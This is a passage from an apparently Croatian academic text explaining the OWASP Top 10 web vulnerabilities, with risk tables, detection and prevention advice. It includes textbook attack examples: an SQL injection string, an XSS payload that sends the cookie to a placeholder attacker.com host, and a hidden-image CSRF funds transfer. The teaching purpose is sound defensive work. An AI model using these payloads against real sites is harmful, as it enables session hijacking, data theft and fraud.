nastavku nešto detaljniji opis svakog od njih.
1) Injection
• Injection propusti, kao što su SQL ili LDAP injection događaju se kada se
interpreteru pošalju nesigurni podaci kao dio naredbe ili upita. Interpreter
klijenta te podatke može takve podatke izvršiti i time pokrenuti neželjene
naredbe ili neautorizirano pristupiti podacima.
2) Cross-Site Scripting (XSS)
• XSS greške događaju se kada aplikacija uzme nesigurne podatke i proslijedi ih
web browseru bez ispravne validacije. Pomoću XSS napada omogućuje se
izvršavanje skripti na korisnikovom browseru koje mogu ukrasti korisničke
sesije, promijeniti same web stranice ili preusmjeriti korisnika na maliciozne
stranice.
3) Broken Authentication and Session Management
• Funkcije u aplikacijama koje su vezane uz autentikaciju i upravljanje sesijama
su
često
pogrešno
implementirane,
što
napadačima
omogućuje
kompromitiranje lozinki i ključeva ili iskorištavanje ostalih implementacijskih
mana kako bi se doznao korisnikov identitet.
4) Insecure Direct Object References
• Direct Object Reference javlja se kada programer izloži unutarnji objekt kao
što je datoteka, direktorij ili ključ baze podataka. Bez provjere prava pristupa
ili neke druge vrste zaštite, napadač može manipulirati tim referencama kako
bi neautorizirano pristupao podacima.
5) Cross-Site Request Forgery (CSRF)
• CSRF napad prisiljava ulogiran browser žrtve da ranjivoj web aplikaciji
pošalje krivotvoren HTTP zahtjev koji uključuje žrtvin kolačić sesije i bilo
koje druge informacije za autentikaciju. To napadaču omogućuje da prisili
žrtvin browser na generiranje zahtjeva za koje ranjiva aplikacija misli da su
valjani zahtjevi žrtve.
38
6) Security Misconfiguration
• Dobra sigurnost zahtijeva sigurnu konfiguraciju za aplikacije, aplikacijske
servere, web servere te servere baze podataka. Sve te konfiguracije trebaju biti
definirane, implementirane i održavane. To uključuje i redovitu nadogradnju
svog softvera.
7) Insecure Cryptographic Storage
• Mnoge web aplikacije ne zaštićuju osjetljive podatke (npr. informacije o
kreditnim karticama ili informacije o autentikaciji) na ispravan način, sa
prikladnom enkripcijom ili hashiranjem. Napadači mogu ukrasti ili promijeniti
tako slabo zaštićene podatke da nekome ukradu identitet, kreditnu karticu i
slično.
8) Failure to Restrict URL Access
• Mnoge web aplikacije provjeravaju URL prava pristupa prije uključivanja
zaštićenih linkova ili buttona. No aplikacije trebaju vršiti istu provjeru i svaki
puta kada se pristupa takvim stranicama, jer napadač inače može krivotvoriti
URL da pristupi tim stranicama i bez linkova prikazanih na ekranu.
9) Insufficient Transport Layer Protection
• Aplikacije često ne uspijevaju zaštititi povjerljivost i integritet osjetljivog
mrežnog prometa. A kada ga i štite, to se ponekad vrši slabim algoritmima,
isteklim ili nevaljanim certifikatima, ili pogrešnom implementacijom.
10) Unvalidated Redirects and Forwards
• Web aplikacije često preusmjeravaju ili prosljeđuju korisnike na druge
stranice i web mjesta te koriste neprovjerene podatke kako bi utvrdile
odredišne stranice. Zbog nedovoljne provjere, napadač može preusmjeriti
žrtve na phishing ili malware stranice ili koristiti preusmjeravanje kako bi
neautorizirano pristupio stranicama.
39
4.1.2.1. Injection - Injekcija
Opis
Tablica 4.3. Opis injekcije (engl. injection)
Potencijalni
napadači
Težina
napada
Učestalost
propusta
Detekcija
propusta
Srednje
Lak
Uobičajen
teška
Injection pogreške
Trebaju se
Napadač
događaju se kada
razmotriti svi
šalje
korisnici
jednostavne aplikacija pošalje
nepovjerljive podatke
sustava koji
tekstualne
interpreteru. Ovakvi
mogu slati
napade koji
nepovjerljive
iskorištavaju propusti su vrlo
sintaksu
učestali, posebno u
podatke
korisnikovog legacy sustavima, a
sustavu,
interpretera. često se mogu naći u
uključujući
SQL, LDAP i XPath
vanjske i
upitima, OS
unutarnje
naredbama,
korisnike, kao
argumentima programu
i
i sl. Ovakvi propusti
administratore.
lako se nađu
pregledavanjem koda,
ali teže kroz testiranje.
Tehnički
utjecaj
Utjecaj na
djelatnost
Ozbiljan
-
Injection
može
rezultirati
gubitkom ili
promjenom
podataka te
zabranom
pristupa.
Ponekad
može
dovesti do
potpunog
preuzimanja
od strane
napadača.
Svi podaci
mogu biti
ukradeni,
modificirani
ili izbrisani.
Provjera ranjivosti
Najbolji način za provjeru da li je neka aplikacija ranjiva na napad injekcijom je
provjeriti sve upotrebe interpretera tako se osigura da one odvajaju nepovjerljive
podatke od naredbi ili upita.
Provjera koda je brz i točan način da se vidi da li aplikacija koristi interpretere na
siguran način. Alati za analizu koda mogu pomoći analitičaru da pronađe uporabe
interpretera. Kod penetracijskog testiranja te uporabe se mogu testirati.
Automatski skeneri za testiranje sigurnosti aplikacija nekad ne mogu doći do
interpretera i teško im je detektirati da li je napad bio uspješan, pa se preporuča ručno
testiranje koda.
40
Sprječavanje ranjivosti
Da bi se ovakav napad spriječio treba nesigurne podatke držati odvojenim od naredbi
i upita.
Najbolja opcija je koristiti siguran API koji u potpunosti izbjegava interpreter ili pruža
parametrizirano sučelje. Kod API-a kao što su pohranjene procedure treba biti
oprezan, jer iako su parametrizirani, još uvijek u implementaciji mogu biti ranjivi na
napad injekcijom.
Kada parametrizirani API-i nisu dostupni, treba pažljivo maknuti specijalne znakove
iz upita pri tome pazeći na specifičnosti sintakse samog interpretera.
„White list“ validacija ulaza se također preporuča no to nije potpuni način obrane jer
mnoge aplikacije zahtijevaju specijalne znakove kao ulaz.
Primjer napada
Napad se može realizirati kada aplikacija koristi nesigurne podatke u konstrukciji
ranjivog SQL upita, kao što je upit u sljedećem primjeru:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") +"'";
Napadač kod slanja „id“ parametra preko browsera šalje sljedeće:
' or '1'='1
Zbog toga upit neće vratiti samo zapis sa jednim računom, već sve zapise (račune) iz
baze. U najgorem slučaju, napadač ovu slabost može iskoristiti kako bi pozvao
specijalnu pohranjenu proceduru u bazi podataka koja omogućuje preuzimanje baze
podataka ili čak cijelog servera na kojem se baza podataka nalazi.
41
4.1.2.2. Cross-Site Scripting (XSS)
Opis
Tablica 4.4. Opis Cross-Site Scripting (XSS)
Potencijalni
napadači
Težina
napada
-
Srednje
težak
Trebaju se
razmotriti svi
korisnici
sustava koji
mogu slati
nepovjerljive
podatke
sustavu,
uključujući
vanjske i
unutarnje
korisnike, kao
i
administratore
.
Napadač
šalje
jednostavne
tekstualne
skripte koje
iskorištavaj
u interpreter
u browseru.
Učestalost
propusta
Detekcij
a
propusta
Jako
Laka
rasprostranje
n
XSS je najrasprostranjeniji
sigurnosni propust u web
aplikacijama. XSS propust
se dogodi kada aplikacija
uključi podatke koje je
poslao korisnik u stranicu
za browser bez validacije
tog sadržaja. Detekcija
XSS propusta je
jednostavna kroz testiranje
i analizu koda.
Tehnički
utjecaj
Utjecaj
na
djelatnos
t
Umjeren
-
Napadač
može
izvršiti
skriptu u
browseru
korisnika
kako bi
ukrao
njegovu
sesiju,
promijenio
samu
stranicu,
umetnuo
neželjeni
sadržaj,
preusmjeri
o
korisnika,
preuzeo
browser
korištenje
m
malwarea,
itd.
U obzir
treba
uzeti
poslovnu
vrijednost
ugroženo
g sustava
i svih
podataka
koji njime
kolaju.
Također
treba
proučiti
utjecaj
javnog
izlaganja
propusta.
Provjera ranjivosti
Treba osigurati da su svi podaci od korisnika koji se šalju natrag browseru provjereni i
sigurni (kroz validaciju), a korisnički input treba i escapirati prije nego se uključi u
42
stranicu. Propisni encoding osigurava da se takav izlaz interpretira kao tekst u
browseru, a ne kao kod koji bi se mogao izvršiti.
I statički i dinamički alati mogu pronaći XSS probleme, no zbog specifičnosti
aplikacija i pojedinih tehnologija kao što su JavaScript, ActiveX, Silverlight ili Flash
automatska detekcija je otežana. Zbog toga se za kompletnu provjeru preporuča
kombinacija ručnog pregledavanja koda i penetracijskog testiranja. Web 2.0
tehnologije kao što su AJAX također otežavaju otkrivanje XSS propusta kroz
automatsko testiranje.
Sprečavanje ranjivosti
Kod sprječavanja XSS-a treba nesigurne podatke držati odvojenim od aktivnog
sadržaja browsera.
Preporučena opcija je ispravno eskapirati sav nesiguran sadržaj s obzirom na HTML
kontekst (body, atribut, JavaScript, CSS ili URL) u kojeg će se taj sadržaj smjestiti.
To trebaju osigurati programeri.
White list validacija se isto preporuča ali nije sigurna obrana jer mnoge aplikacije
moraju prihvaćati specijalne znakove.
Primjer napada
Aplikacija koristi nesigurne podatke u izgradnji sljedećeg HTML koda bez validacije
ili eskapiranja:
(String)
page
+=
"<input
name='creditcard'
type='TEXT‘value='"
+
request.getParameter("CC") + "'>";
Napadač modificira parametar „CC“ na sljedeći kod:
'><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>'
Rezultat napada je da se žrtvin ID sesije pošalje na napadačevu web stranicu, što
napadaču omogućuje da koristi korisnikovu trenutnu sesiju. XSS napad se može
iskoristiti i za zaobilaženje CSRF obrana (sigurnosni propust 5).
43
4.1.2.3. Broken Authentication and Session Management – Loše upravljanje
autentikacijom i sesijama
Opis
Tablica 4.5. Opis lošeg upravljanja autentikacijom i sesijama
Potencijalni
napadači
Anonimni
vanjski
napadači,
kao i
korisnici sa
svojim
računima
koji mogu
pokušati
ukrasti račun
od drugih
korisnika.
Također i
korisnici u
sustavu koji
žele sakriti
svoje akcije.
Težina
napada
Srednje
teška
Napadač
koristi
propuste u
autentikaciji
ili
upravljanju
sesijama
(izložene
račune,
lozinke, ID
sesija) kako
bi se
predstavio
kao neka
druga osoba.
Učestalost
propusta
Detekcija
propusta
Srednje
Uobičajen
teška
Programeri često
razvijaju vlastite sustave
za autentikaciju i
upravljanje sesijama, a
pravilno razvijanje
takvih sustava je teško.
Kao rezultat, ovakvi
sustavi često imaju
greške u funkcijama za
logout, upravljanje
lozinkama, tajnim
pitanjima, „zapamti me“
opcijama, ažuriranju
računa i slično.
Pronalaženje takvih
mana ponekad je teško
zbog specifičnosti svake
implementacije.
Tehnički
utjecaj
Utjecaj na
djelatnost
Ozbiljan
-
Ovakav
napad može
dovesti do
napada na
neki ili čak
sve
korisničke
račune. Kod
uspješnog
napada,
napadač
može sve
što i žrtva
čiji je račun
ukraden.
Zbog toga
su
privilegirani
računi česta
meta.
U obzir
treba uzeti
poslovnu
vrijednost
ugroženog
sustava, svih
podataka
koji njime
kolaju i
aplikacijskih
funkcija.
Također
treba
proučiti
utjecaj
javnog
izlaganja
propusta.
Provjera ranjivosti
Primarne stvari koje se moraju štititi su akreditivi i ID sesija. Razmotriti sljedeća
pitanja:
1. Jesu li akreditivi uvijek zaštićeni koristeći hashiranje ili enkripciju? Vidjeti
rizik broj 7.
2. Mogu li akreditivi biti pogođeni ili prebrisani korištenjem slabih funkcija za
upravljanje računima (npr. kreiranje računa, promjena lozinke, vraćanje
izgubljene lozinke, slabi ID sesije…)
3. Jesu li ID-evi sesije izloženi u URL-u?
44
4. Jesu li ID-evi ranjivi na napad fiksiranjem sesije?
5. Da li ID-evi sesija ističu i mogu li se korisnici odlogirati?
6. Da li se ID-evi mijenjaju nakon uspješnog logina?
7. Da li se lozinke, ID-evi sesija i ostali akreditivi šalju samo preko TLS veza?
Sprječavanje ranjivosti
Primarna preporuka je da organizacija programerima pruži jedinstven set jakih
sustava za upravljanje autentikacijom i sesijama. Uz to, velik napor treba uložiti u
sprječavanje XSS napada koji se mogu iskoristiti za krađu ID-a sesije.
Primjer napada
Kod primjera napada imamo tri moguća scenarija:
1) Neka stranica stavlja ID sesije u URL, npr:
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJU
N2JV?dest=Hawaii
Autoriziran korisnik želi prijatelju dojaviti o ovom putovanju. On pošalje prijatelju
navedeni link bez znanja da mu je dao i svoj ID sesije. Njegov prijatelj tada može
preko ID-a sesije iskoristiti njegovu sesiju ili kreditnu karticu.
2) Timeout aplikacija nije pravilno podešen. Korisnik na nekom javnom računalu se
logira na neku stranicu, a kada odlazi ne odabire opciju „logout“ nego samo zatvara
browser. Napadač može koristiti isto računalo i browser sat vremena kasnije te
pristupiti računu prethodnog korisnika.
3) Unutarnji ili vanjski napadač dobije pristup bazi podataka u kojoj su spremljene
lozinke. Ako one nisu kriptirane, lozinke svih korisnika su jasno vidljive napadaču.
45
4.1.2.4. Insecure Direct Object References – Nesigurne direktne reference na
objekte
Opis
Tablica 4.6. Opis nesigurne direktne reference na objekte
Potencijalni
napadači
Treba
razmotriti
tipove
korisnika
sustava. Da
li bilo koji
korisnici
imaju samo
djelomični
pristup
pojedinim
tipovima
sistemskih
podataka?
Težina
napada
Lak
Napadač
koji je
autoriziran
korisnik
sustava
jednostavno
promijeni
parametar
koji ga
direktno
referira na
neki
sistemski
objekt na
drugi objekt
za kojeg
nije
autoriziran.
Učestalost Detekcija
propusta
propusta
Uobičajen
Laka
Aplikacije često koriste
stvarna imena ili
ključeve objekata kada
generiraju web stranice.
One ne provjeravaju
uvijek da li je korisnik
autoriziran za korištenje
ciljnog objekta. Testeri
mogu lako promijeniti
vrijednosti parametara
kako bi uočili takve
propuste, a analiza koda
brzo pokazuje da li se
autorizacija propisno
vrši za svaki objekt.
Tehnički
utjecaj
Umjeren
Ovakav
propust može
kompromitirati
sve podatke
koji su
referencirani
preko
parametra.
Utjecaj na
djelatnost
Treba
razmotriti
poslovnu
vrijednost
podataka,
kao i
utjecaj
javnog
izlaganja
propusta.
Provjera ranjivosti
Najbolji način za utvrđivanje da li je aplikacija ranjiva na ovu vrstu napada je
provjeriti sve da sve reference na objekte imaju propisne obrane. Da bi se to postiglo
treba razmotriti:
1. Za direktne reference zaštićenim resursima, aplikacija treba provjeriti da je
korisnik autoriziran za pristup točno tom resursu kojeg on traži.
2. Za indirektne reference, mapiranje na direktne reference se mora ograničiti na
vrijednosti koje su dozvoljene za autoriziranog korisnika.
Pregledavanjem koda aplikacije može se utvrditi da li su oba ova pristupa pravilno
implementirana. Testiranje je također učinkovito za uočavanje ovakvih propusta.
46
Automatizirani alati obično ne traže ovakve propuste jer ne znaju što je sigurno ili
nesigurno i koji resurs zahtijeva zaštitu a koji ne.
Sprječavanje ranjivosti
Sprječavanje zahtijeva pristup za zaštitu svakog objekta koji je dostupan korisniku
(npr. brojevi objekata ili imena datoteka). To se može izvršiti preko:
1. Korištenje po korisniku ili po sesiji indirektnih referenca na objekte. Ovo
sprječava napadača da direktno pristupi neautoriziranom resursu. Na primjer,
umjesto da se korisniku ponudi lista ključeva prema resursima, ponude mu se
brojevi od 1 do 6 kako bi odabrao resurs. Nakon toga aplikacija mapira
korisnikovu indirektnu referencu na stvarni ključ u bazi podataka.
2. Provjera prava pristupa. Svako korištenje direktne reference na objekt mora
uključiti i provjeru prava pristupa kako bi se osiguralo da je korisnika
autoriziran za pristup željenom objektu.
Primjer napada
Aplikacija koristi neprovjerene podatke u SQL pozivu koji pristupa korisničkim
informacijama:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt=connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSetresults = pstmt.executeQuery( );
Napadač modificira „acct“ parametar u svome browseru kako bi poslao bilo koji broj.
Ako se ne izvrši verifikacija, napadač može pristupiti računu bilo kojeg korisnika, a
ne samo svojem (kojem bi trebao pristupiti).
http://example.com/app/accountInfo?acct=nijeMojRacun
47
4.1.2.5. Cross-Site Request Forgery (CSRF)
Opis
Tablica 4.7. Opis CSRFmetode
Potencijalni
napadači
Težina
napada
Srednje
težak
Treba
Napadač
razmotriti
šalje
sve koji
krivotvorene
mogu
HTTP
prevariti
zahtjeve i
korisnika
prevari
aplikacije da žrtvu na
pošalje
slanje istih
zahtjev na
putem
našu web
tagova za
stranicu. To slike, XSS-a
je moguće
ili brojnih
kroz bilo
drugih
koju HTML tehnika.
stranicu
Ako je
kojoj
korisnik
korisnik
autoriziran,
može
napad je
pristupiti.
uspješan.
Učestalost
propusta
Detekcija
propusta
Tehnički
utjecaj
Utjecaj na
djelatnost
Rasprostranjen
Laka
Umjeren
-
Napadači
mogu
promijeniti
bilo koji
podatak ili
izvršiti bilo
koju
operaciju
za koju je
napadnuti
autorizirani
korisnik
ovlašten.
Treba
razmotriti
vrijednost
podataka ili
aplikacijskih
funkcija.
CSRF iskorištava web
aplikacije koje napadaču
dozvoljavaju predviđanje
svih detalja određenih
akcija. Pošto browseri
šalju akreditive kao
kolačiće sesija automatski,
napadači mogu kreirati
maliciozne web stranice
koje generiraju lažirane
zahtjeve koji se ne mogu
razlikovati od legitimnih.
Detekcija ovih mana je
laka putem penetracijskog
testiranja ili analize koda.
Provjera ranjivosti
Najlakši način za provjeru ranjivosti na CSRF napad je provjera da li svaki link i
forma sadrže nepredvidljiv token za svakoga korisnika. Bez takvih tokena koji se ne
mogu predvidjeti, napadač može krivotvoriti maliciozne zahtjeve na stranicu. Kod
provjere se treba usredotočiti na linkove i forme koje izazivaju funkcije promjene
stanja, jer su to najvažniji ciljevi CSRF napada.
Treba obratiti pažnju na to da ni kolačići sesije, izvorišne IP adrese i ostale
informacije koje browser automatski šalje ne mogu puno pomoći jer napadač i te
informacije može uključiti u krivotvorene zahtjeve.
48
Sprječavanje ranjivosti
Sprječavanje CSRF-a zahtijeva uključivanje nepredvidljivih tokena u tijelo ili URL
svakog HTTP zahtjeva. No takvih tokeni bi trebali biti jedinstveni barem prema
korisničkoj sesiji, ali mogu biti jedinstveni i po zahtjevu.
1. Preferirana opcija je da se jedinstveni token uključi u sakriveno polje. Kod
takvog načina ta vrijednost se šalje u tijelu HTTP zahtjeva te se izbjegava
uključivanje u URL, koji može biti izložen napadaču.
2. Jedinstveni token može biti uključen i u sam URL ili kao parametar URL-a.
No kod takvog pristupa riskira se da će URL biti izložen napadaču, a tako bi
se kompromitirao i sam token.
OWASP-ov CSRF Guard se može koristiti kako bi automatski uključio takve tokene u
Java, .NET ili PHP aplikacije. Također, OWASP-ov ESAPI uključuje generatore
tokena i validatore koje programeri mogu koristiti kako bi zaštitili svoje transakcije.
Primjer napada
Aplikacija „dozvoli“ korisniku da pošalje zahtjev za promjenom stanja koji ne
uključuje nikakvu tajnu (token). Primjer takvog zahtjeva je sljedeći:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243
243
Napadač napravi zahtjev koji će prebaciti novac sa žrtvinog računa na svoj račun, te
takav zahtjev ugradi u razna polja (slike, iframe) koji su na stranicama pod
napadačevom kontrolom.
<img
src="http://example.com/app/transferFunds?amount=1500&destinationAccount=att
ackersAcct#“ width="0" height="0" />
Ako žrtva napada posjeti bilo koju takvu napadačevu stranicu dok je istovremeno
autoriziran na stranici s ranjivom aplikacijom (ovdje example.com), svaki
krivotvoreni zahtjev će sadržavati i korisnikove podatke o sesiji (koje browser šalje
automatski), što će uzrokovati neželjeno odobravanje zahtjeva.
49
4.1.2.6. Security Misconfiguration – Kriva konfiguracija sustava sigurnosti
Opis
Tablica 4.8. Opis krive konfiguracije sustava sigurnosti
Potencijalni
napadači
Treba
razmotriti
anonimne
eksterne
napadače kao
i korisnike s
računima koji
bi mogli
pokušati
kompromitira
ti sustav.
Razmotriti i
korisnike u
sustavu koji
žele sakriti
svoje akcije.
Težina
napada
Učestalos
t
propusta
Detekcij
a
propust
a
Uobičaje
Laka
n
Napadač
Propust u
pristupa
sigurnosnom sustavu
računima,
može se desiti u bilo
nekorišteni
kojem sloju
m
aplikacije.
stranicama, Programeri i
nepokrpani
administratori mreže
m manama, moraju raditi zajedno
nezaštićeni
kako bi osigurali da
m
su svi slojevi
datotekama i pravilno
direktorijim konfigurirani i
a i sl. kako
osigurani.
bi dobio
Automatski skeneri
neautorizira su korisni za
ni pristup ili detekciju zakrpi koje
prikupio
nedostaju,
znanje o
nepropisne
sustavu.
konfiguracije,
korištenje
dodijeljenih
(defaultnih) računa,
nepotrebnih servisa i
sl.
Lak
Tehnički
utjecaj
Utjecaj na
djelatnost
Umjeren
-
Ovakvi napadi
napadačima
često daju
neautoriziran
pristup nekim
sistemskim
podacima ili
funkcionalnost
i. Rjeđe
rezultiraju
preuzimanjem
cijelog sustava
od strane
napadača.
Cijeli sustav
može biti
kompromitira
n bez znanja
vlasnika. Svi
podaci mogu
biti ukradeni
ili polako
mijenjani
tijekom
vremena.
Oporavak od
štete može
biti skup.
Provjera ranjivosti
Da li je provedeno sigurnosno očvršćivanje kroz sve aplikacijske slojeve? Pitanja koja
se trebaju postaviti su:
50
1. Da li postoji proces za održavanje svog softvera ažuriranim? To uključuje
operacijske sustave, web i aplikacijske servere, sustave za upravljanje bazom
podataka, aplikacije i sve knjižnice koda.
2. Da li je sve nepotrebno onemogućeno, maknuto ili deinstalirano (portovi,
servisi, računi, privilegije…)
3. Da li su defaultne lozinke računa promijenjene ili onemogućene?
4. Da li je rukovanje pogreškama podešeno tako da se onemogući prikazivanje
previše informativnih pogrešaka koje bi napadaču dale uvid u rad sustava?
5. Jesu li sigurnosne postavke u razvojnom okruženju poznate i pravilno
konfigurirane?
Potreban je usklađen i iteracijski pristup procesu razvoja kako bi se razvile i održavale
pravilne sigurnosne konfiguracije.
Sprječavanje ranjivosti
Primarne preporuke su uspostavljanje svih navedenih točaka:
1. Iterativni proces učvršćivanja preko kojeg se lako i brzo može u rad pustiti
novo okruženje koje je pravilno podešeno. Razvoj, osiguranje kvalitete i
produkcijska okruženja bi trebali biti konfigurirani na isti način. Ovaj proces
trebao bi biti automatiziran kako bi se minimizirao napor potreban za
podešavanje novog sigurnog okruženja.
2. Proces za održavanje paralelnim i puštanje u rad svih novih sigurnosnih zakrpi
u kratkom roku, i to svakom postavljenom okruženju.
3. Snažna arhitektura aplikacija koja pruža dobro odvajanje i sigurnost između
komponenti.
4. Periodička skeniranja i revizije kako bi se pomoglo u otkrivanju budućih
pogrešaka u konfiguraciji ili zakrpe koje nedostaju.
Primjer napada
Scenarij 1: Naša aplikacija ovisi o nekom snažnom frameworku kao što je Struts ili
Spring. XSS mane su otkrivene u tom frameworku. One su otkrivene i objavljena je
zakrpa, no mi ne ažuriramo svoje knjižnice koda. Sve dok se te zakrpe ne apliciraju i
na naš kod, napadač lako može pronaći i iskoristiti mane u našoj aplikaciji.
51
Scenarij 2: Administratorska konzola na aplikacijskom serveru je automatski
instalirana i nije uklonjena. Defaultni računi nisu promijenjeni. Ako napadač otkrije
da su te standardne administratorske postavke na serveru, može se ulogirati sa
defaultnom lozinkom i preuzeti sustav.
Scenarij 3: Izlistavanje direktorija nije onemogućeno na serveru. Napadač otkrije da
jednostavno može izlistati direktorije kako bi pronašao bilo koju datoteku na sustavu.
On pronalazi i skida sve kompilirane Java klase, otkriva ih i doznaje sav kod
aplikacije. Tada, na primjer, pronalazi ozbiljnu manu u kodu aplikacije koju može
dalje iskoristiti.
Scenarij 4: Konfiguracija aplikacijskog servera dozvoljava da detaljne informacije o
pogreškama dospiju do korisnika. Napadači takve dodatne informacije vole iskoristiti
kako bi otkrili dublji uzrok problema.
52
4.1.2.7. Insecure Cryptographic Storage – Nesigurna kriptografska pohrana
Opis
Tablica 4.9. Opis nesigurne kriptografske pohrane
Potencijalni
napadači
Razmotriti
korisnike
sustava. Da li
bi željeli
dobiti pristup
informacijam
a za koje nisu
autorizirani?
Razmotriti i
unutarnje
administratore
.
Težina
napada
Težak
Napadači
obično ne
razbijaju
kriptografij
u. Obično
pronađu
ključeve,
dobiju
kopije
izvornog
teksta
podataka ili
pristup kroz
kanale koji
se
automatski
dekriptiraju
.
Učestalost
Detekcija
propusta
propusta
Neuobičajen
Teška
Najčešći propust u ovom
području je izostanak
kriptiranja podataka koji bi
svakako trebali biti kriptirani.
Kada se enkripcija i primijeni,
nesigurni ključevi i njihova
pohrana, izostanak mijenjanja
ključeva ili slabi algoritmi su
česta pojava. Uporaba slabih
hasheva za zaštitu lozinki je
također česta. Vanjskim
napadačima je obično teško
iskoristiti takve propuste zbog
slabog pristupa, pa obično
prvo pronalaze neki drugi
propust kako bi dobili
potreban pristup.
Tehnički
utjecaj
Ozbiljan
Kompromitir
ani su svi
podaci koji bi
trebali biti
kriptirani.
Obično su to
osjetljivi
podaci kao
što su
akreditivi,
osobni
podaci,
informacije o
kreditnim
karticama i
slično.
Utjecaj na
djelatnost
Treba
razmotriti
vrijednost
podataka i
utjecaj na
ugled.
Vidjeti i koje
su zakonske
posljedice
izlaganja
osjetljivih
podataka.
Provjera ranjivosti
Prvo treba utvrditi koji podaci su dovoljno osjetljivi da bi zahtijevali kriptiranje.
Primjeri su lozinke, informacije o kreditnim karticama, osobne informacije i slično.
Za sve takve podatke treba osigurati:
1. Da su kriptirani svuda gdje se spremaju na duže vrijeme, posebno u backupu
ovakvih podataka
2. Samo autorizirani korisnici mogu vidjeti dekriptirane kopije ovih podataka
3. Koristi se snažan i standardan algoritam kriptiranja
4. Generiran je snažan ključ, koji je zaštićen od neautoriziranog pristupa, a
planira se i izmjena ključeva
53
Sprječavanje ranjivosti
Pune opasnosti i načini sprječavanja ovih propusta su jako opširni, pa bi za sve
osjetljive podatke koji trebaju biti kriptirani trebalo kao minimum osigurati barem
sljedeće:
1. Razmotriti sve prijetnje od kojih se planiraju štititi podaci kriptiranjem
(unutarnji napadi, vanjski korisnici…), te osigurati da se svi potrebni podaci
kriptiraju na način da se zaštite od tih prijetnji
2. Osigurati da su kopije (backupi) podataka kriptirani, ali da se njihovi ključevi
održavaju i backupiraju zasebno
3. Osigurati prikladne snažne standardne algoritme i snažne ključeve te
upravljanje ključevima
4. Osigurati da su lozinke hashirane snažnim standardnim algoritmom
5. Osigurati da su svi ključevi i lozinke zaštićeni od neautoriziranog pristupa
Primjer napada
Scenarij 1: Aplikacija kriptira informacije o kreditnim karticama u bazu podataka
kako bi spriječila njihovo izlaganje krajnjim korisnicima. No baza podataka je
podešena da automatski dekriptira upite na te stupce, što omogućuje SQL injection
napad kojim se sve takve informacije mogu dobiti dekriptirane. Sustav bi trebao biti
konfiguriran tako da samo back end aplikacije mogu dekriptirati te podatke, a ne front
end web aplikacije.
Scenarij 2: Backup vrpca je načinjena od kriptiranih podataka, no ključ kriptiranja je
na istom backupu.
Scenarij 3: Baza podataka s lozinkama koristi nesigurni hash kako bi ih pohranila.
Pogreška u aplikaciji kod uploada datoteke omogućuje napadaču da dobije datoteku s
lozinkama. Kod nesigurnih hasheva napadaču je za napad grubom silom potrebno oko
četiri tjedna, dok bi mu kod sigurnog hasha trebalo preko 3000 godina.
54
4.1.2.8. Failure to Restrict URL Access – Neuspjelo ograničavanje URL pristupa
Opis
Tablica 4.10. Opis neuspjelog ograničavanja URL pristupa
Potencijalni
napadači
Težina
napada
-
Lak
Svi sa
mrežnim
pristupom
aplikaciji
mogu slati
zahtjeve. Da
li anonimni
korisnici
mogu
pristupiti
privatnim
stranicama ili
uobičajeni
korisnici
privilegirani
m
stranicama?
Napadač
koji je
autorizirani
korisnik
sustava lako
može
promijeniti
URL na
neku
privilegiran
u stranicu.
Da li mu je
pristup
omogućen?
Anonimni
korisnici
mogu
pristupiti
privatnim
stranicama
koje nisu
zaštićene.
Učestalost
propusta
Detekcij
a
propusta
Neuobičaje
Srednje
n
teška
Aplikacije ne štite
uvijek zahtjeve na
stranice na ispravan
način. Ponekad je URL
zaštita upravljana
konfiguracijom no ona
nije dobro podešena.
Ponekad programeri
moraju uključiti
provjeru u kodu ali
zaborave.
Otkrivanje takvih mana
je lako. Najteže je
otkriti koje stranice
(URL-i) postoje za
napad.
Tehnički
utjecaj
Utjecaj
na
djelatnos
t
Umjeren
-
Ovakvi
propusti
dozvoljavaju
napadaču
pristup
neautoriziranoj
funkcionalnosti
.
Administrativn
e akcije su
ključne mete za
ovakve napade.
Razmotrit
i
poslovnu
vrijednost
izloženih
funkcija i
podataka
koje one
obrađuju.
Također
razmotriti
utjecaj na
ugled ako
se za
ranjivost
dozna u
javnosti.
Provjera ranjivosti
Najbolji način za otkrivanje ovih pogrešaka je provjeriti svaku stranicu. Za svaku
stranicu treba razmotriti da li ona treba biti javna ili privatna. Ako stranica treba biti
privatna:
1. Da li je potrebna autentifikacija kako bi se pristupilo toj stranici?
55
2. Da li bi trebala biti dostupna svakom autoriziranom korisniku? Ako ne, da li se
vrši autorizacijska provjera kako bi se utvrdilo da korisnik ima potrebna prava
kako bi pristupio stranici?
Vanjski sigurnosni mehanizmi često pružaju autentikacijske i autorizacijske provjere
za pristup stranicama. Provjeriti da su pravilno konfigurirani za svaku stranicu.
Provjera za ovakvu vrstu propusta može se vršiti i putem penetracijskog testiranja.
Sprječavanje ranjivosti
Sprječavanje neautoriziranog pristupa putem URL-a zahtijeva odabir pristupa za
ispravnu autentikaciju i autorizaciju za svaku stranicu. Često je takva zaštita pružana
preko vanjskih komponenti. Bez obzira na mehanizam zaštite, sve sljedeće zaštite su
preporučene:
1. Autorizacijske i autentikacijske politike trebaju biti bazirane na ulogama kako
bi se smanjio napor potreban za održavanje tih politika.
2. Politike bi trebale biti visoko konfigurabilne.
3. Mehanizmi bi po zadanim (defaultnim) postavkama trebali sprječavati sav
pristup i zahtijevati eksplicitna prava za pojedine korisnike i uloge, i to za
pristup svakoj stranici.
Primjer napada
Napadač jednostavno „natjera“ browser na neki ciljni URL. Razmotrimo dva URL-a
koji oba zahtijevaju autentikaciju. Administratorske ovlasti su potrebne kako bi se
pristupilo „admin_getAppInfo“ stranici.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
Ako napadač nije autoriziran a dozvoli mu se pristup do bilo koje navedene stranice,
to je propust jer se dozvolio neautorizirani pristup. Ako autenticirani korisnik, ali bez
administratorskih prava može pristupiti „admin_getAppInfo“ stranici, ovo je također
propust, a napadač bi mogao tražiti još administratorskih stranica koje su nepravilno
zaštićene.
56
Takvi propusti se često događaju kada se linkovi za pristup neautoriziranim
korisnicima jednostavno sakriju, a ciljne stranice su nepropisno zaštićene.
4.1.2.9. Insufficient Transport Layer Protection – Nedovoljna zaštita na razini
transportnog sloja
Opis
Tablica 4.11. Opis nedovoljne zaštite na razini transportnog sloja
Potencijaln
